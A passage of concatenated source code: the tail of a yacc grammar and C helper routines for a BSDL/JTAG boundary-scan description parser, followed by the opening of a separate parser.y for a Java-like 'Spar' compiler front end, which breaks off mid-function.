| COMPONENT_CONFORMANCE STD_1149_1_2001
{ priv_data->jtag_ctrl->conformance = CONF_2001; }
;
/****************************************************************************/
ISC_Extension : ISC_Conformance
| ISC_Pin_Behavior
| ISC_Fixed_System_Pins
| ISC_Status
| ISC_Blank_Usercode
| ISC_Security
| ISC_Flow
| ISC_Procedure
| ISC_Action
| ISC_Illegal_Exit
;
/****************************************************************************/
ISC_Conformance : ISC_CONFORMANCE STD_1532_2001
| ISC_CONFORMANCE STD_1532_2002
;
/****************************************************************************/
ISC_Pin_Behavior : ISC_PIN_BEHAVIOR Pin_Behavior_Option
;
Pin_Behavior_Option : HIGHZ
| CLAMP
| error
{
Print_Error( priv_data, _("Error in ISC_Pin_Behavior Definition") );
BUMP_ERROR;
YYABORT;
}
;
/****************************************************************************/
ISC_Fixed_System_Pins : ISC_FIXED_SYSTEM_PINS Fixed_Pin_List
;
Fixed_Pin_List : Port_Id
| Fixed_Pin_List COMMA Port_Id
| error
{
Print_Error( priv_data, _("Error in ISC_Fixed_System_Pins Definition") );
BUMP_ERROR;
YYABORT;
}
;
Port_Id : IDENTIFIER
{ free( $1 ); }
| IDENTIFIER LPAREN DECIMAL_NUMBER RPAREN
{ free( $1 ); }
;
/****************************************************************************/
ISC_Status : ISC_STATUS Status_Modifier IMPLEMENTED
;
Status_Modifier : /* empty */
| IDENTIFIER
{ free( $1 ); }
;
/****************************************************************************/
ISC_Blank_Usercode : ISC_BLANK_USERCODE BIN_X_PATTERN
{ free( $2 ); }
;
/****************************************************************************/
ISC_Security : ISC_SECURITY Protection_Spec
;
Protection_Spec : Read_Spec COMMA Program_Spec COMMA Erase_Spec COMMA Key_Spec
| error
{
Print_Error( priv_data, _("Error in ISC_Security Definition") );
BUMP_ERROR;
YYABORT;
}
;
Read_Spec : ISC_DISABLE_READ Bit_Spec
;
Program_Spec : ISC_DISABLE_PROGRAM Bit_Spec
;
Erase_Spec : ISC_DISABLE_ERASE Bit_Spec
;
Key_Spec : ISC_DISABLE_KEY Bit_Range
;
Bit_Spec : ASTERISK
| DECIMAL_NUMBER
;
Bit_Range : ASTERISK
| DECIMAL_NUMBER MINUS DECIMAL_NUMBER
;
/****************************************************************************/
ISC_Flow : ISC_FLOW Flow_Definition_List
;
Flow_Definition_List : Flow_Definition
| Flow_Definition_List COMMA Flow_Definition
;
Flow_Definition : Flow_Descriptor
| Flow_Descriptor Initialize_Block
| Flow_Descriptor Initialize_Block Repeat_Block
| Flow_Descriptor Initialize_Block Repeat_Block Terminate_Block
| Flow_Descriptor Repeat_Block
| Flow_Descriptor Repeat_Block Terminate_Block
| Flow_Descriptor Terminate_Block
| error
{
Print_Error( priv_data, _("Error in ISC_Flow Definition") );
BUMP_ERROR;
YYABORT;
}
;
Flow_Descriptor : IDENTIFIER
{ free( $1 ); }
| IDENTIFIER Data_Name
{ free( $1 ); }
| IDENTIFIER Data_Name UNPROCESSED
{ free( $1 ); }
| IDENTIFIER Data_Name UNPROCESSED EXIT_ON_ERROR
{ free( $1 ); }
| IDENTIFIER UNPROCESSED
{ free( $1 ); }
| IDENTIFIER UNPROCESSED EXIT_ON_ERROR
{ free( $1 ); }
| IDENTIFIER EXIT_ON_ERROR
{ free( $1 ); }
;
Data_Name : LPAREN Standard_Data_Name RPAREN
| LPAREN IDENTIFIER RPAREN
{ free( $2 ); }
;
Standard_Data_Name : ARRAY | USERCODE | SECURITY | IDCODE | PRELOAD
;
Initialize_Block : INITIALIZE Activity_List
;
Repeat_Block : REPEAT DECIMAL_NUMBER Activity_List
;
Terminate_Block : TERMINATE Activity_List
;
Activity_List : Activity_Element
| Activity_List Activity_Element
;
Activity_Element : Activity
| Loop_Block
;
Loop_Block : LOOP Loop_Min_Spec Loop_Max_Spec LPAREN Loop_Activity_List RPAREN
;
Loop_Min_Spec : /* empty */
| MIN DECIMAL_NUMBER
;
Loop_Max_Spec : MAX DECIMAL_NUMBER
;
Loop_Activity_List : Activity
| Loop_Activity_List Activity
;
Activity : LPAREN Instruction_Name Wait_Specification RPAREN
{ free( $2 ); }
| LPAREN Instruction_Name Update_Field_List Wait_Specification RPAREN
{ free( $2 ); }
| LPAREN Instruction_Name Wait_Specification Capture_Field_List RPAREN
{ free( $2 ); }
| LPAREN Instruction_Name Update_Field_List Wait_Specification Capture_Field_List RPAREN
{ free( $2 ); }
;
Update_Field_List : Update_Field
| Update_Field_List COMMA Update_Field
;
Update_Field : DECIMAL_NUMBER
| DECIMAL_NUMBER COLON
{ bsdl_flex_set_hex( priv_data->scanner ); }
Data_Expression
{ bsdl_flex_set_decimal( priv_data->scanner ); }
;
Data_Expression : HEX_STRING
{ free( $1 ); }
| Input_Specifier
| Variable_Expression
;
Variable_Expression : Variable
| Variable_Assignment
| Variable_Update
;
Variable_Assignment : Variable EQUAL
{ bsdl_flex_set_hex( priv_data->scanner ); }
HEX_STRING
{
free( $4 );
bsdl_flex_set_decimal( priv_data->scanner );
}
| Variable Input_Specifier
;
Variable_Update : Variable Complement_Operator
| Variable Binary_Operator DECIMAL_NUMBER
;
Input_Specifier : Input_Operator
| IO_Operator
;
Capture_Field_List : Capture_Field
| Capture_Field_List COMMA Capture_Field
;
Capture_Field : DECIMAL_NUMBER COLON
{ bsdl_flex_set_hex( priv_data->scanner ); }
Capture_Field_Rest
{ bsdl_flex_set_decimal( priv_data->scanner ); }
;
Capture_Field_Rest : Capture_Specification
| Capture_Specification CRC_Tag
| Capture_Specification CRC_Tag OST_Tag
| Capture_Specification OST_Tag
;
Capture_Specification : Expected_Data
| Expected_Data Compare_Mask
;
Expected_Data : /* empty */
| Output_Operator
| Output_Operator Data_Expression
| Data_Expression
;
Compare_Mask : ASTERISK
| ASTERISK Output_Operator
| ASTERISK Output_Operator Data_Expression
| ASTERISK Data_Expression
;
Wait_Specification : WAIT Duration_Specification
| WAIT Duration_Specification MIN
| WAIT Duration_Specification MIN COLON Duration_Specification MAX
;
Duration_Specification : Clock_Cycles
| REAL_NUMBER
{ free( $1 ); }
| Clock_Cycles COMMA REAL_NUMBER
{ free( $3 ); }
;
Clock_Cycles : Port_Id DECIMAL_NUMBER
;
Variable : DOLLAR IDENTIFIER
{ free( $2 ); }
;
Binary_Operator : PLUS
{ bsdl_flex_set_decimal( priv_data->scanner ); }
| MINUS
{ bsdl_flex_set_decimal( priv_data->scanner ); }
| SH_RIGHT
{ bsdl_flex_set_decimal( priv_data->scanner ); }
| SH_LEFT
{ bsdl_flex_set_decimal( priv_data->scanner ); }
;
Complement_Operator : TILDE
;
Input_Operator : QUESTION_MARK
;
Output_Operator : EXCLAMATION_MARK
;
IO_Operator : QUESTION_EXCLAMATION
;
CRC_Tag : COLON CRC
;
OST_Tag : COLON OST
;
/****************************************************************************/
ISC_Procedure : ISC_PROCEDURE Procedure_List
;
Procedure_List : Procedure
| Procedure_List COMMA Procedure
;
Procedure : IDENTIFIER EQUAL LPAREN Flow_Descriptor_List RPAREN
{ free( $1 ); }
| IDENTIFIER Data_Name EQUAL LPAREN Flow_Descriptor_List RPAREN
{ free( $1 ); }
| error
{
Print_Error( priv_data, _("Error in ISC_Procedure Definition") );
BUMP_ERROR;
YYABORT;
}
;
Flow_Descriptor_List : Flow_Descriptor
| Flow_Descriptor_List COMMA Flow_Descriptor
;
/****************************************************************************/
ISC_Action : ISC_ACTION Action_List
;
Action_List : Action
| Action_List COMMA Action
;
Action : IDENTIFIER EQUAL LPAREN Action_Specification_List RPAREN
{ free( $1 ); }
| IDENTIFIER Data_Name EQUAL LPAREN Action_Specification_List RPAREN
{ free( $1 ); }
| IDENTIFIER PROPRIETARY EQUAL LPAREN Action_Specification_List RPAREN
{ free( $1 ); }
| IDENTIFIER Data_Name PROPRIETARY EQUAL LPAREN Action_Specification_List RPAREN
{ free( $1 ); }
| error
{
Print_Error( priv_data, _("Error in ISC_Action Definition") );
BUMP_ERROR;
YYABORT;
}
;
Action_Specification_List : Action_Specification
| Action_Specification_List COMMA Action_Specification
;
Action_Specification : IDENTIFIER
{ free( $1 ); }
| IDENTIFIER Data_Name
{ free( $1 ); }
| IDENTIFIER Data_Name PROPRIETARY
{ free( $1 ); }
| IDENTIFIER Data_Name Option_Specification
{ free( $1 ); }
| IDENTIFIER Data_Name PROPRIETARY Option_Specification
{ free( $1 ); }
| IDENTIFIER PROPRIETARY
{ free( $1 ); }
| IDENTIFIER PROPRIETARY Option_Specification
{ free( $1 ); }
| IDENTIFIER Option_Specification
{ free( $1 ); }
;
Option_Specification : OPTIONAL | RECOMMENDED
;
/****************************************************************************/
ISC_Illegal_Exit : ISC_ILLEGAL_EXIT Exit_Instruction_List
;
Exit_Instruction_List : IDENTIFIER
{ free( $1 ); }
| Exit_Instruction_List COMMA IDENTIFIER
{ free( $3 ); }
;
%% /* End rules, begin programs */
/*----------------------------------------------------------------------*/
static void Print_Error( bsdl_parser_priv_t *priv_data, const char *Errmess )
{
bsdl_msg( priv_data->jtag_ctrl->proc_mode,
BSDL_MSG_ERR, _("Line %d, %s.\n"),
priv_data->lineno,
Errmess );
}
/*----------------------------------------------------------------------*/
static void Print_Warning( bsdl_parser_priv_t *priv_data, const char *Warnmess )
{
bsdl_msg( priv_data->jtag_ctrl->proc_mode,
BSDL_MSG_WARN, _("Line %d, %s.\n"),
priv_data->lineno,
Warnmess );
}
/*----------------------------------------------------------------------*/
static void Give_Up_And_Quit( bsdl_parser_priv_t *priv_data )
{
//Print_Error( priv_data, "Too many errors" );
bsdl_flex_stop_buffer( priv_data->scanner );
}
/*----------------------------------------------------------------------*/
void yyerror( bsdl_parser_priv_t *priv_data, const char *error_string )
{
}
/*****************************************************************************
* void bsdl_sem_init( bsdl_parser_priv_t *priv )
*
* Initializes storage elements in the private parser and jtag control
* structures that are used for semantic purposes.
*
* Parameters
* priv : private data container for parser related tasks
*
* Returns
* void
****************************************************************************/
static void bsdl_sem_init( bsdl_parser_priv_t *priv )
{
jtag_ctrl_t *jc = priv->jtag_ctrl;
jc->instr_len = -1;
jc->bsr_len = -1;
jc->conformance = CONF_UNKNOWN;
jc->idcode = NULL;
jc->usercode = NULL;
jc->instr_list = NULL;
priv->ainfo.next = NULL;
priv->ainfo.reg = NULL;
priv->ainfo.instr_list = NULL;
jc->ainfo_list = NULL;
priv->tmp_cell_info.next = NULL;
priv->tmp_cell_info.port_name = NULL;
priv->tmp_cell_info.basic_safe_value = NULL;
jc->cell_info_first = NULL;
jc->cell_info_last = NULL;
priv->tmp_port_desc.names_list = NULL;
priv->tmp_port_desc.next = NULL;
}
/*****************************************************************************
* void free_instr_list( struct instr_elem *il )
*
* Deallocates the given list of instr_elem.
*
* Parameters
* il : first instr_elem to deallocate
*
* Returns
* void
****************************************************************************/
static void free_instr_list( instr_elem_t *il )
{
if (il)
{
if (il->instr)
free( il->instr );
if (il->opcode)
free( il->opcode );
free_instr_list( il->next );
free( il );
}
}
/*****************************************************************************
* void free_ainfo_list( ainfo_elem_t *ai, int free_me )
*
* Deallocates the given list of ainfo_elem.
*
* Parameters
* ai : first ainfo_elem to deallocate
* free_me : set to 1 to free memory for ai as well
*
* Returns
* void
****************************************************************************/
static void free_ainfo_list( ainfo_elem_t *ai, int free_me )
{
if (ai)
{
if (ai->reg)
free( ai->reg );
free_instr_list( ai->instr_list );
free_ainfo_list( ai->next, 1 );
if (free_me)
free( ai );
}
}
/*****************************************************************************
* void free_string_list( string_elem_t *sl )
*
* Deallocates the given list of string_elem items.
*
* Parameters
* sl : first string_elem to deallocate
*
* Returns
* void
****************************************************************************/
static void free_string_list( string_elem_t *sl)
{
if (sl)
{
if (sl->string)
free( sl->string );
free_string_list( sl->next );
free( sl );
}
}
/*****************************************************************************
* void free_c_list( cell_info_t *ci, int free_me )
*
* Deallocates the given list of cell_info items.
*
* Parameters
* ci : first cell_info item to deallocate
* free_me : 1 -> free memory for *ci as well
* 0 -> don't free *ci memory
*
* Returns
* void
****************************************************************************/
static void free_ci_list( cell_info_t *ci, int free_me )
{
if (ci)
{
free_ci_list( ci->next, 1 );
if (ci->port_name)
free( ci->port_name );
if (ci->basic_safe_value)
free( ci->basic_safe_value );
if (free_me)
free( ci );
}
}
/*****************************************************************************
* void bsdl_sem_deinit( bsdl_parser_priv_t *priv )
*
* Frees and deinitializes storage elements in the private parser and
* jtag control structures that were filled by semantic rules.
*
* Parameters
* priv : private data container for parser related tasks
*
* Returns
* void
****************************************************************************/
static void bsdl_sem_deinit( bsdl_parser_priv_t *priv )
{
jtag_ctrl_t *jc = priv->jtag_ctrl;
if (jc->idcode)
{
free( jc->idcode );
jc->idcode = NULL;
}
if (jc->usercode)
{
free( jc->usercode );
jc->usercode = NULL;
}
/* free cell_info list */
free_ci_list( jc->cell_info_first, 1 );
jc->cell_info_first = jc->cell_info_last = NULL;
free_ci_list( &(priv->tmp_cell_info), 0 );
/* free instr_list */
free_instr_list( jc->instr_list );
jc->instr_list = NULL;
/* free ainfo_list */
free_ainfo_list( jc->ainfo_list, 1 );
jc->ainfo_list = NULL;
free_ainfo_list( &(priv->ainfo), 0 );
/* free string list in temporary port descritor */
free_string_list( priv->tmp_port_desc.names_list );
priv->tmp_port_desc.names_list = NULL;
}
/*****************************************************************************
* bsdl_parser_priv_t *bsdl_parser_init( jtag_ctrl_t *jtag_ctrl )
*
* Initializes storage elements in the private parser structure that are
* used for parser maintenance purposes.
* Subsequently calls initializer functions for the scanner and the semantic
* parts.
*
* Parameters
* jtag_ctrl : pointer to jtag control structure
*
* Returns
* pointer to private parser structure
****************************************************************************/
bsdl_parser_priv_t *bsdl_parser_init( jtag_ctrl_t *jtag_ctrl )
{
bsdl_parser_priv_t *new_priv;
if (!(new_priv = (bsdl_parser_priv_t *)malloc( sizeof( bsdl_parser_priv_t ) ))) {
bsdl_msg( jtag_ctrl->proc_mode,
BSDL_MSG_ERR, _("Out of memory, %s line %i\n"), __FILE__, __LINE__ );
return NULL;
}
new_priv->jtag_ctrl = jtag_ctrl;
if (!(new_priv->scanner = bsdl_flex_init( jtag_ctrl->proc_mode ))) {
free(new_priv);
new_priv = NULL;
}
bsdl_sem_init( new_priv );
return new_priv;
}
/*****************************************************************************
* void bsdl_parser_deinit( bsdl_parser_priv_t *priv )
*
* Frees storage elements in the private parser structure that are
* used for parser maintenance purposes.
* Subsequently calls deinitializer functions for the scanner and the semantic
* parts.
*
* Parameters
* priv : private data container for parser related tasks
*
* Returns
* void
****************************************************************************/
void bsdl_parser_deinit( bsdl_parser_priv_t *priv_data )
{
bsdl_sem_deinit( priv_data );
bsdl_flex_deinit( priv_data->scanner );
free( priv_data );
}
/*****************************************************************************
* void add_instruction( bsdl_parser_priv_t *priv, char *instr, char *opcode )
*
* Converts the instruction specification into a member of the main
* list of instructions at priv->jtag_ctrl->instr_list.
*
* Parameters
* priv : private data container for parser related tasks
* instr : instruction name
* opcode : instruction opcode
*
* Returns
* void
****************************************************************************/
static void add_instruction( bsdl_parser_priv_t *priv, char *instr, char *opcode )
{
instr_elem_t *new_instr;
new_instr = (instr_elem_t *)malloc( sizeof( instr_elem_t ) );
if (new_instr)
{
new_instr->next = priv->jtag_ctrl->instr_list;
new_instr->instr = instr;
new_instr->opcode = opcode;
priv->jtag_ctrl->instr_list = new_instr;
}
else
bsdl_msg( priv->jtag_ctrl->proc_mode,
BSDL_MSG_FATAL, _("Out of memory, %s line %i\n"), __FILE__, __LINE__ );
}
/*****************************************************************************
* void ac_set_register( bsdl_parser_priv_t *priv, char *reg, int reg_len )
* Register Access management function
*
* Stores the register specification values for the current register access
* specification in the temporary storage region for later usage.
*
* Parameters
* priv : private data container for parser related tasks
* reg : register name
* reg_len : optional register length
*
* Returns
* void
****************************************************************************/
static void ac_set_register( bsdl_parser_priv_t *priv, char *reg, int reg_len )
{
ainfo_elem_t *tmp_ai = &(priv->ainfo);
tmp_ai->reg = reg;
tmp_ai->reg_len = reg_len;
}
/*****************************************************************************
* void ac_add_instruction( bsdl_parser_priv_t *priv, char *instr )
* Register Access management function
*
* Appends the specified instruction to the list of instructions for the
* current register access specification in the temporary storage region
* for later usage.
*
* Parameters
* priv : private data container for parser related tasks
* instr : instruction name
*
* Returns
* void
****************************************************************************/
static void ac_add_instruction( bsdl_parser_priv_t *priv, char *instr )
{
ainfo_elem_t *tmp_ai = &(priv->ainfo);
instr_elem_t *new_instr;
new_instr = (instr_elem_t *)malloc( sizeof( instr_elem_t ) );
if (new_instr)
{
new_instr->next = tmp_ai->instr_list;
new_instr->instr = instr;
new_instr->opcode = NULL;
tmp_ai->instr_list = new_instr;
}
else
bsdl_msg( priv->jtag_ctrl->proc_mode,
BSDL_MSG_FATAL, _("Out of memory, %s line %i\n"), __FILE__, __LINE__ );
}
/*****************************************************************************
* void ac_apply_assoc( bsdl_parser_priv_t *priv )
* Register Access management function
*
* Appends the collected register access specification from the temporary
* storage region to the main ainfo list.
*
* Parameters
* priv : private data container for parser related tasks
*
* Returns
* void
****************************************************************************/
static void ac_apply_assoc( bsdl_parser_priv_t *priv )
{
jtag_ctrl_t *jc = priv->jtag_ctrl;
ainfo_elem_t *tmp_ai = &(priv->ainfo);
ainfo_elem_t *new_ai;
new_ai = (ainfo_elem_t *)malloc( sizeof( ainfo_elem_t ) );
if (new_ai)
{
new_ai->next = jc->ainfo_list;
new_ai->reg = tmp_ai->reg;
new_ai->reg_len = tmp_ai->reg_len;
new_ai->instr_list = tmp_ai->instr_list;
jc->ainfo_list = new_ai;
}
else
bsdl_msg( jc->proc_mode,
BSDL_MSG_FATAL, _("Out of memory, %s line %i\n"), __FILE__, __LINE__ );
/* clean up obsolete temporary entries */
tmp_ai->reg = NULL;
tmp_ai->reg_len = 0;
tmp_ai->instr_list = NULL;
}
/*****************************************************************************
* void prt_add_name( bsdl_parser_priv_t *priv, char *name )
* Port name management function
*
* Sets the name field of the temporary storage area for port description
* (port_desc) to the parameter name.
*
* Parameters
* priv : private data container for parser related tasks
* name : base name of the port, memory get's free'd lateron
*
* Returns
* void
****************************************************************************/
static void prt_add_name( bsdl_parser_priv_t *priv, char *name )
{
port_desc_t *pd = &(priv->tmp_port_desc);
string_elem_t *new_string;
new_string = (string_elem_t *)malloc( sizeof( string_elem_t ) );
if (new_string)
{
new_string->next = pd->names_list;
new_string->string = name;
pd->names_list = new_string;
}
else
bsdl_msg( priv->jtag_ctrl->proc_mode,
BSDL_MSG_FATAL, _("Out of memory, %s line %i\n"), __FILE__, __LINE__ );
}
/*****************************************************************************
* void prt_add_bit( bsdl_parser_priv_t *priv )
* Port name management function
*
* Sets the vector and index fields of the temporary storage area for port
* description (port_desc) to non-vector information. The low and high indice
* are set to equal numbers (exact value is irrelevant).
*
* Parameters
* priv : private data container for parser related tasks
*
* Returns
* void
****************************************************************************/
static void prt_add_bit( bsdl_parser_priv_t *priv )
{
port_desc_t *pd = &(priv->tmp_port_desc);
pd->is_vector = 0;
pd->low_idx = 0;
pd->high_idx = 0;
}
/*****************************************************************************
* void prt_add_range( bsdl_parser_priv_t *priv, int low, int high )
* Port name management function
*
* Sets the vector and index fields of the temporary storage area for port
* description (port_desc) to the specified vector information.
*
* Parameters
* priv : private data container for parser related tasks
* low : low index of vector
* high : high index of vector
*
* Returns
* void
****************************************************************************/
static void prt_add_range( bsdl_parser_priv_t *priv, int low, int high )
{
port_desc_t *pd = &(priv->tmp_port_desc);
pd->is_vector = 1;
pd->low_idx = low;
pd->high_idx = high;
}
/*****************************************************************************
* void ci_no_disable( bsdl_parser_priv_t *priv )
* Cell Info management function
*
* Tracks that there is no disable term for the current cell info.
*
* Parameters
* priv : private data container for parser related tasks
*
* Returns
* void
****************************************************************************/
static void ci_no_disable( bsdl_parser_priv_t *priv )
{
priv->tmp_cell_info.ctrl_bit_num = -1;
}
/*****************************************************************************
* void ci_set_cell_spec_disable( bsdl_parser_priv_t *priv, int ctrl_bit_num,
* int safe_value, int disable_value )
* Cell Info management function
*
* Applies the disable specification of the current cell spec to the variables
* for temporary storage of these information elements.
*
* Parameters
* priv : private data container for parser related tasks
* ctrl_bit_num : bit number of related control cell
* safe_value : safe value for initialization of this cell
* disable_value : currently ignored
*
* Returns
* void
****************************************************************************/
static void ci_set_cell_spec_disable( bsdl_parser_priv_t *priv, int ctrl_bit_num,
int safe_value, int disable_value )
{
cell_info_t *ci = &(priv->tmp_cell_info);
ci->ctrl_bit_num = ctrl_bit_num;
ci->disable_safe_value = safe_value;
/* disable value is ignored at the moment */
}
/*****************************************************************************
* void ci_set_cell_spec( bsdl_parser_priv_t *priv,
* int function, char *safe_value )
* Cell Info management function
*
* Sets the specified values of the current cell_spec (without disable term)
* to the variables for temporary storage of these information elements.
* The name of the related port is taken from the port_desc structure that
* was filled in previously by the rule Port_Name.
*
* Parameters
* priv : private data container for parser related tasks
* function : cell function indentificator
* safe_value : safe value for initialization of this cell
*
* Returns
* void
****************************************************************************/
static void ci_set_cell_spec( bsdl_parser_priv_t *priv,
int function, char *safe_value )
{
cell_info_t *ci = &(priv->tmp_cell_info);
port_desc_t *pd = &(priv->tmp_port_desc);
string_elem_t *name = priv->tmp_port_desc.names_list;
char *port_string;
size_t str_len, name_len;
ci->cell_function = function;
ci->basic_safe_value = safe_value;
/* handle indexed port name:
- names of scalar ports are simply copied from the port_desc structure
to the final string that goes into ci
- names of vectored ports are expanded with their decimal index as
collected earlier earlier in rule Port_Name
*/
name_len = strlen( name->string );
str_len = name_len + 1 + 10 + 1 + 1;
if ((port_string = (char *)malloc( str_len )) != NULL)
{
if (pd->is_vector)
snprintf( port_string, str_len-1, "%s(%d)", name->string, pd->low_idx );
else
strncpy( port_string, name->string, str_len-1 );
port_string[str_len-1] = '\0';
ci->port_name = port_string;
}
else
{
bsdl_msg( priv->jtag_ctrl->proc_mode,
BSDL_MSG_FATAL, _("Out of memory, %s line %i\n"), __FILE__, __LINE__ );
ci->port_name = NULL;
}
free_string_list( priv->tmp_port_desc.names_list );
priv->tmp_port_desc.names_list = NULL;
}
/*****************************************************************************
* void ci_append_cell_info( bsdl_parser_priv_t *priv, int bit_num )
* Cell Info management function
*
* Appends the temporary cell info to the global list of cell infos.
*
* Parameters
* priv : private data container for parser related tasks
* bit_num : bit number of current cell
*
* Returns
* void
****************************************************************************/
static void ci_append_cell_info( bsdl_parser_priv_t *priv, int bit_num )
{
cell_info_t *tmp_ci = &(priv->tmp_cell_info);
cell_info_t *ci;
jtag_ctrl_t *jc = priv->jtag_ctrl;
ci = (cell_info_t *)malloc( sizeof( cell_info_t ) );
if (ci)
{
ci->next = NULL;
if (jc->cell_info_last)
jc->cell_info_last->next = ci;
else
jc->cell_info_first = ci;
jc->cell_info_last = ci;
ci->bit_num = bit_num;
ci->port_name = tmp_ci->port_name;
ci->cell_function = tmp_ci->cell_function;
ci->basic_safe_value = tmp_ci->basic_safe_value;
ci->ctrl_bit_num = tmp_ci->ctrl_bit_num;
ci->disable_safe_value = tmp_ci->disable_safe_value;
tmp_ci->port_name = NULL;
tmp_ci->basic_safe_value = NULL;
}
else
bsdl_msg( jc->proc_mode,
BSDL_MSG_FATAL, _("Out of memory, %s line %i\n"), __FILE__, __LINE__ );
}
/*
Local Variables:
mode:C
c-default-style:gnu
indent-tabs-mode:nil
End:
*/
|
<filename>compiler/frontends/spar/parser.y
/* File: parser.y */
%{
#include <stdlib.h>
#include <stdio.h>
#include <tmc.h>
#include <assert.h>
#include <string.h>
#include "defs.h"
#include "tmadmin.h"
#include "error.h"
#include "lex.h"
#include "parser.h"
#include "check.h"
#include "global.h"
#include "symbol_table.h"
#include "prettyprint.h"
#include "service.h"
/* Always allow parse trace, since it is switchable from the
* command line.
*/
#define YYDEBUG 1
static SparProgramUnit result;
// A stack with the class modifiers of all pending classes and interfaces.
// For the moment this stack is only used to help in the check that inlined
// classes are static or final.
static modflags_list class_modifiers_stack = modflags_listNIL;
/* The required error handler for yacc. */
static void yyerror( const char *s )
{
if( strcmp( s, "parse error" ) == 0 ){
parserror( "syntax error" );
}
else {
parserror( s );
}
}
static void push_class_modifiers( const modflags flags )
{
class_modifiers_stack = append_modflags_list( class_modifiers_stack, flags );
}
static void pop_class_modifiers()
{
assert( class_modifiers_stack->sz != 0 );
class_modifiers_stack->sz--;
}
static modflags get_top_class_modifiers()
{
assert( class_modifiers_stack->sz != 0 );
return class_modifiers_stack->arr[class_modifiers_stack->sz-1];
}
/* Given a group of modifiers, complain if more than one of the modifiers
* public, protected and private are set.
*/
static modflags check_access_modifiers( origin org, modflags flags )
{
const modflags mask = ACC_PUBLIC|ACC_PRIVATE|ACC_PROTECTED;
modflags sel;
sel = flags & mask;
if( sel == 0 || sel == ACC_PUBLIC || sel == ACC_PRIVATE || sel == ACC_PROTECTED ){
return flags;
}
if( org == originNIL ){
parserror( "only one of the modifiers `public', `protected', and `private' should be given" );
}
else {
origin_error( org, "only one of the modifiers `public', `protected', and `private' should be given" );
}
/* Force the access modifiers to `public'. */
flags &= ~mask;
flags |= ACC_PUBLIC;
return flags;
}
/* Given a list of Imports, create two lists, one with direct imports,
* one with on demand imports.
*
* Always add the on-demand package `java.lang', and remove duplicates
* from both lists without complaint.
*/
static void separate_imports( Import_list imps, origsymbol_list *directs, origsymbol_list *ondemands )
{
*directs = new_origsymbol_list();
*ondemands = new_origsymbol_list();
*ondemands = append_origsymbol_list(
*ondemands,
new_origsymbol(
add_tmsymbol( "java.lang" ),
gen_origin()
)
);
for( unsigned int ix=0; ix<imps->sz; ix++ ){
Import imp = imps->arr[ix];
if( imp != ImportNIL ){
switch( imp->tag ){
case TAGDirectImport:
if( !member_origsymbol_list( *directs, imp->name ) ){
*directs = append_origsymbol_list(
*directs,
rdup_origsymbol( imp->name )
);
}
break;
case TAGOnDemandImport:
if( !member_origsymbol_list( *ondemands, imp->name ) ){
*ondemands = append_origsymbol_list( *ondemands, rdup_origsymbol( imp->name ) );
}
break;
}
}
}
}
// Given a type `t' and a list of pragmas `pragmas', wrap the type
// with a PragmaType if this is useful.
static type wrap_pragmas_type( type t, Pragma_list pragmas )
{
type res;
if( pragmas == Pragma_listNIL || pragmas->sz == 0 ){
res = t;
if( pragmas != Pragma_listNIL ){
rfre_Pragma_list( pragmas );
}
}
else {
res = new_PragmaType( pragmas, t );
}
return res;
}
// Given an element type and a Dim structure, unwrap it.
static type unwrap_array_FormalDim(
type elmtype,
FormalDim dim
)
{
type res = new_ArrayType( elmtype, dim->rnk );
res = wrap_pragmas_type( res, dim->pragmas );
fre_FormalDim( dim );
return res;
}
/* Given a type and a list of ranks, return a series of nested array type
* representing this. Upon return, the ownership of both parameters is
* lost to the caller.
*/
static type wrap_ranked_type( type t, FormalDim_list ranks )
{
unsigned int ix = ranks->sz;
while( ix != 0 ){
ix--;
t = unwrap_array_FormalDim( t, rdup_FormalDim( ranks->arr[ix] ) );
}
rfre_FormalDim_list( ranks );
return t;
}
/* Given a type `tin' and a varid `id', convert all size lists in `id' to
* wrapped types of `tin'. Assign the naked variable name to `*s', and
* the wrapped type to `tout'.
*/
static void unwrap_varid( type tin, varid id, type *tout, origsymbol *s, optexpression *init )
{
*tout = wrap_ranked_type( tin, id->wrap );
*s = id->name;
*init = id->init;
fre_varid( id );
}
/* Given a type `tin' and a list of varid `ids', convert all size lists in
* `ids' to wrapped types of `tin'.
*/
static statement_list unwrap_variableDeclarators( modflags flags, type tin, varid_list ids )
{
statement_list res = setroom_statement_list( new_statement_list(), ids->sz );
while( ids->sz>0 ){
varid id;
int ok;
type t = rdup_type( tin );
ids = extract_varid_list( ids, 0, &id, &ok );
origsymbol nm;
optexpression init;
assert( ok );
unwrap_varid( t, id, &t, &nm, &init );
if( init == 0 ){
init = new_OptExprNone();
}
res = append_statement_list(
res,
new_FieldDeclaration(
rdup_origin( nm->org ), /* origin */
Pragma_listNIL, /* pragmas */
origsymbol_listNIL, // Labels
flags,
false,
nm,
t,
init
)
);
}
return res;
}
/* Given a declaration, and a list of pragmas, return a new declaration
* that contains the pragmas.
*/
static declaration add_declaration_pragmas( declaration d, Pragma_list pl )
{
if( d == declarationNIL ){
return d;
}
if( d->pragmas == Pragma_listNIL ){
d->pragmas = pl;
}
else {
d->pragmas = concat_Pragma_list( d->pragmas, pl );
}
return d;
}
/* Given a declaration, and a list of pragmas, return a new declaration
* that contains the pragmas.
*/
static statement add_statement_pragmas( statement d, Pragma_list pl )
{
if( d == statementNIL ){
return d;
}
if( d->pragmas == Pragma_listNIL ){
d->pragmas = pl;
}
else {
d->pragmas = concat_Pragma_list( d->pragmas, pl );
}
return d;
}
/* Given a list of declarations, and a list of pragmas, return a modified
* list of declaration that contains the pragmas.
*/
static statement_list add_statement_list_pragmas( statement_list l, Pragma_list pl )
{
unsigned int ix;
for( ix=0; ix<l->sz; ix++ ){
l->arr[ix] = add_statement_pragmas( l->arr[ix], rdup_Pragma_list( pl ) );
}
rfre_Pragma_list( pl );
return l;
}
/* Given a statement and a label, add the label to the list of this
* statement.
*/
static statement add_statement_label( statement s, origsymbol l )
{
if( s->labels == NULL ){
s->labels = new_origsymbol_list();
}
// By appending the labels we reverse the order w.r.t. the source
// text, but this does not make any difference, we use the slightly
// cheaper append.
s->labels = append_origsymbol_list( s->labels, l );
return s;
}
/* Given a MethodHeader and a method body, sort out which kind of
* declaration this is, and return the appropriate one.
*
* Parts of the input structures are used in the return value, the
* remainder is freed.
*/
static declaration unwrap_method_declaration( MethodHeader hdr, Block body )
{
declaration res;
hdr->t = wrap_ranked_type( hdr->t, hdr->wrap );
if( hdr->modifiers & ACC_ABSTRACT ){
if( body != BlockNIL ){
parserror( "Abstract methods cannot have a body" );
rfre_Block( body );
body = BlockNIL;
}
res = new_AbstractFunctionDeclaration(
rdup_origin( hdr->name->org ),
Pragma_listNIL, // Pragmas
origsymbol_listNIL, // Labels
hdr->modifiers,
false,
hdr->name,
